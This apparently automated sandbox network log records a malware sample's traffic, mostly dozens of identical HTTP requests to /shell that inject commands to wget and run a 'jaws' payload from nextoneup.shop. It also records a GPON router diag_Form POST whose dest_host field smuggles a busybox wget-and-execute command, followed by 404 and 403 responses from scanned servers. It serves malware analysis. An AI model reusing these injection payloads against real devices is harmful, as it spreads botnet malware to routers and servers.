Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: unknown

DNS traffic detected: queries for: rsx.nextoneup.shop

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 01:59:46 GMTServer: ApacheContent-Length: 255Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 01:59:56 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: gvs 1.0Date: Sun, 14 Apr 2024 01:59:56 GMTX-Frame-Options: SAMEORIGINX-XSS-Protection: 0Content-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: gvs 1.0Date: Sun, 14 Apr 2024 01:59:56 GMTX-Frame-Options: SAMEORIGINX-XSS-Protection: 0Content-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 01:59:57 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:09:10 GMTServer: Apache/2.0.52 (Red Hat)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 30 2e 35 32 20 28 52 65 64 20 48 61 74 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.0.52 (Red Hat) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:05 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 04:00:03 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:05 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:05 GMTContent-Type: text/htmlContent-Length: 343Connection: keep-aliveVary: Accept-EncodingETag: "62c6829a-157"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:00:05 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:05 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
